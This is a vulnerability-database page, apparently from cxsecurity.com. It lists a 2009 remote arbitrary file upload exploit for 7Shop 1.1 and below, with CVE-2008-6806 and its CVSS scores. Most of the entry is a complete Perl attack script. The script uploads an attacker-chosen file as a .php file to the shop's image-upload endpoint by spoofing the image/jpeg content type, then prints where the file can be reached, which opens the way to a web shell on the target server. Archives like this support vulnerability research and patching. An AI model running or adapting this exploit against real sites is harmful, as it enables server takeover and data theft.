Home
Bugtraq
Full List
Only Bugs
Only Tricks
Only Exploits
Only Dorks
Only CVE
Only CWE
Fake Notes
Ranking
CVEMAP
Full List
Show Vendors
Show Products
CWE Dictionary
Check CVE Id
Check CWE Id
Search
Bugtraq
CVEMAP
By author
CVE Id
CWE Id
By vendors
By products
RSS
Bugtraq
CVEMAP
CVE Products
Bugs
Exploits
Dorks
More
cIFrex
Facebook
Twitter
Donate
About
Submit
7Shop <= 1.1 Remote Arbitrary File Upload Exploit
2009.05.14
Credit:
t0pP8uZz
Risk:
Medium
Local:
No
Remote:
Yes
CVE:
CVE-2008-6806
CWE:
CWE-20
CVSS Base Score:
6.8/10
Impact Subscore:
6.4/10
Exploitability Subscore:
8.6/10
Exploit range:
Remote
Attack complexity:
Medium
Authentication:
No required
Confidentiality impact:
Partial
Integrity impact:
Partial
Availability impact:
Partial
#!/usr/bin/perl use warnings; use strict; use LWP::UserAgent; use HTTP::Request::Common; my $fname = rand(1000) . ".php"; # int.. yes i know PU! print <<INTRO; +++++++++++++++++++++++++++++++++++++++++++++++++++++ + 7Shop <= 1.1 Remote Arbitrary File Upload + + [Content-Type] -> Spoofing + + Discovered && Coded By: t0pP8uZz + + + + Contact IRC: irc.rizon.net #sectalk + + Vendor not notified! Later versions maybe vuln! + + + + + + Script Download: http://7shop.de + +++++++++++++++++++++++++++++++++++++++++++++++++++++ INTRO print "\nEnter URL(ie: http://site.com/shop): "; chomp(my $url=<STDIN>); print "\nEnter File Path(path to local file to upload): "; chomp(my $file=<STDIN>); my $ua = LWP::UserAgent->new; my $re = $ua->request(POST $url.'/includes/imageupload.php', Content_Type => 'form-data', Content => [ img1 => [ $file, $fname, Content_Type => 'image/jpeg' ], ] ); die "HTTP POST Failed!" unless $re->is_success; if($re->content =~ /File is valid/) { print "File successfully uploaded! Access your file here: " . $url . "/images/artikel/" . $fname . "\n"; # say()? nah you havent got perl510 yet. have you! } elsif($re->content =~ /The requested URL/) { # apache debug only print "File Upload Failed! The requested target was not running a vulnerable version of 7shop!\n"; } else { print "File Upload Failed! target vulnerable, but upload failed.. try changing filename.\n"; } exit;
See this note in RAW Version
Tweet
Vote for this issue:
0
0
50%
50%
Thanks for you vote!
Thanks for you comment!
Your message is in quarantine 48 hours.
Comment it here.
Nick (*)
Email (*)
Video
Text (*)
(*) -
required fields.
Cancel
Submit
{{ x.nick }}
|
Date:
{{ x.ux * 1000 | date:'yyyy-MM-dd' }}
{{ x.ux * 1000 | date:'HH:mm' }}
CET+1
{{ x.comment }}
Show all comments
Copyright
2024
, cxsecurity.com
Back to Top